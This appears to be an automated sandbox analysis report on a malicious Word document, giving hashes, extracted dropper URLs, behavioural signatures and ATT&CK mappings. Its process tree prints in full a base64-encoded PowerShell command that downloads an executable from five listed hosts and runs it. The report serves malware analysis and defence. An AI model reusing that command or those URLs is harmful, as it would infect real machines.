f61a7749ba4a209db07cd10c799a6563aac71bcdc4535f1d6777cc685b6e1d6d

General

Target

69257750edab7e9df8d5f16986255ad2_JaffaCakes118.doc
Size

143KB
MD5

69257750edab7e9df8d5f16986255ad2
SHA1

412e4e014be73806dbb1b991a17fcf212d0c8cf5
SHA256

f61a7749ba4a209db07cd10c799a6563aac71bcdc4535f1d6777cc685b6e1d6d
SHA512

f3d4e23f3877f9a718715721552846459f04ef3d8c8cf674e08ecc6e7899b5c5d4a8be33c4509517b561369b475b187e4d4ecfeb7ec5677943ce739b35568df6
SSDEEP

3072:u77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qcDYQc1/1+a1KKDJbwT/JASiTSvc:u77HUUUUUUUUUUUUUUUUUUUT52VFYQcL

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sastodharan.com/wp-admin/IWYPXKtgEa/

exe.dropper

https://www.nesagaviria.com/cloud/wp8k5p_xoqog-4543006057/

exe.dropper

http://healthshiny.com/wp-admin/ecCESGKTbF/

exe.dropper

http://www.averefiducia.com/wp-content/plugins/si-captcha-for-wordpress/gckzzkAsO/

exe.dropper

https://joymakers.joyventures.com/wp-content/uBhQpaMuh/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5076 540 powershell.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

31 5076 powershell.exe
41 5076 powershell.exe
48 5076 powershell.exe
49 5076 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5076	540	powershell.exe

flow	pid	process
31	5076	powershell.exe
41	5076	powershell.exe
48	5076	powershell.exe
49	5076	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3716 WINWORD.EXE
3716 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

5076 powershell.exe
5076 powershell.exe
5076 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5076 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3716 WINWORD.EXE
3716 WINWORD.EXE
3716 WINWORD.EXE
3716 WINWORD.EXE
3716 WINWORD.EXE
3716 WINWORD.EXE
3716 WINWORD.EXE

pid	process
3716	WINWORD.EXE
3716	WINWORD.EXE

pid	process
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5076	powershell.exe

pid	process
3716	WINWORD.EXE
3716	WINWORD.EXE
3716	WINWORD.EXE
3716	WINWORD.EXE
3716	WINWORD.EXE
3716	WINWORD.EXE
3716	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3716 wrote to memory of 4464	3716	WINWORD.EXE	splwow64.exe
PID 3716 wrote to memory of 4464	3716	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\69257750edab7e9df8d5f16986255ad2_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3716

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:4464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABDADcARgBCAFQAMwBwAD0AJwBuAEwAdwBMAHcASQBrACcAOwAkAFAAegBfAGoAdwBRACAAPQAgACcAMgAwADAAJwA7ACQAUwB2AFIAagBTADQAYgBUAD0AJwBOAEQAMAB6AEoAagAnADsAJABVAGkANgBjAEEASgBHAFYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAegBfAGoAdwBRACsAJwAuAGUAeABlACcAOwAkAFQATABDAHcAZgBwAFcASgA9ACcAYgBvAFoAWAB3AGoATgB2ACcAOwAkAFYASwAxAFgAQgBhAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYABDAEwAYABJAEUAbgB0ADsAJABxAHcAYgBtAG4AVwBkAD0AJwBoAHQAdABwADoALwAvAHMAYQBzAHQAbwBkAGgAYQByAGEAbgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ASQBXAFkAUABYAEsAdABnAEUAYQAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbgBlAHMAYQBnAGEAdgBpAHIAaQBhAC4AYwBvAG0ALwBjAGwAbwB1AGQALwB3AHAAOABrADUAcABfAHgAbwBxAG8AZwAtADQANQA0ADMAMAAwADYAMAA1ADcALwBAAGgAdAB0AHAAOgAvAC8AaABlAGEAbAB0AGgAcwBoAGkAbgB5AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBlAGMAQwBFAFMARwBLAFQAYgBGAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AYQB2AGUAcgBlAGYAaQBkAHUAYwBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AcwBpAC0AYwBhAHAAdABjAGgAYQAtAGYAbwByAC0AdwBvAHIAZABwAHIAZQBzAHMALwBnAGMAawB6AHoAawBBAHMATwAvAEAAaAB0AHQAcABzADoALwAvAGoAbwB5AG0AYQBrAGUAcgBzAC4AagBvAHkAdgBlAG4AdAB1AHIAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBCAGgAUQBwAGEATQB1AGgALwAnAC4AUwBwAEwASQB0ACgAJwBAACcAKQA7ACQAcABJADQAaQB6AFYAUAA9ACcAegBCAE4ATAAxAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEkAMQB6AFAAWQBwAG0AIABpAG4AIAAkAHEAdwBiAG0AbgBXAGQAKQB7AHQAcgB5AHsAJABWAEsAMQBYAEIAYQBrAC4ARABPAHcATgBsAG8AQQBkAGYAaQBMAGUAKAAkAEkAMQB6AFAAWQBwAG0ALAAgACQAVQBpADYAYwBBAEoARwBWACkAOwAkAGMAUABuAEoASQBLAGoAegA9ACcAdABSAGMAbQBZAHoAaAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBpADYAYwBBAEoARwBWACkALgBsAGUAbgBHAFQASAAgAC0AZwBlACAAMgA0ADYAMQA2ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQByAFQAKAAkAFUAaQA2AGMAQQBKAEcAVgApADsAJABBAEsAYQBwADgAdgAxAD0AJwBkAGkAOQB6AHAAZgBKACcAOwBiAHIAZQBhAGsAOwAkAHcAVAB3AGoAagBXAGEAdgA9ACcAVgBvADUAbABoAE4AaAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABhAEwAWgB1AGMAdQA9ACcAUQBvADgANABvAFIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AC74C1AB.wmf
Filesize
700B

MD5
2f84922d57dcaa38faaca04d34ab40ca

SHA1
3d24af0d04ce5475178b874596698a40599e8652

SHA256
ab3fc5063d67c4c48599c052202833f231c808bd4f414a4adc1e64303e34adc9

SHA512
38da8dd98bc1bf3d582bbc7fb81533a799e4677fc142d403bfff7108266b244c367f9560a77508f6185b025dfe5ff7d3ac9a00a2b3b70c014e36d49b7d12f3df

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8202.tmp\iso690.xsl
Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0kdmljuc.c0w.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3716-13-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-7-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-16-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-6-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-11-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-0-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-12-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-14-0x00007FFA0FD80000-0x00007FFA0FD90000-memory.dmp

Filesize
64KB

Download
memory/3716-15-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-17-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-20-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-10-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-19-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-18-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-5-0x00007FFA520ED000-0x00007FFA520EE000-memory.dmp

Filesize
4KB

Download
memory/3716-3-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-21-0x00007FFA0FD80000-0x00007FFA0FD90000-memory.dmp

Filesize
64KB

Download
memory/3716-9-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-8-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-4-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-604-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-1-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-2-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-571-0x00007FFA52050000-0x00007FFA52245000-memory.dmp

Filesize
2.0MB

Download
memory/3716-601-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-602-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-603-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/3716-600-0x00007FFA120D0000-0x00007FFA120E0000-memory.dmp

Filesize
64KB

Download
memory/5076-65-0x000001D7EDD80000-0x000001D7EDDA2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads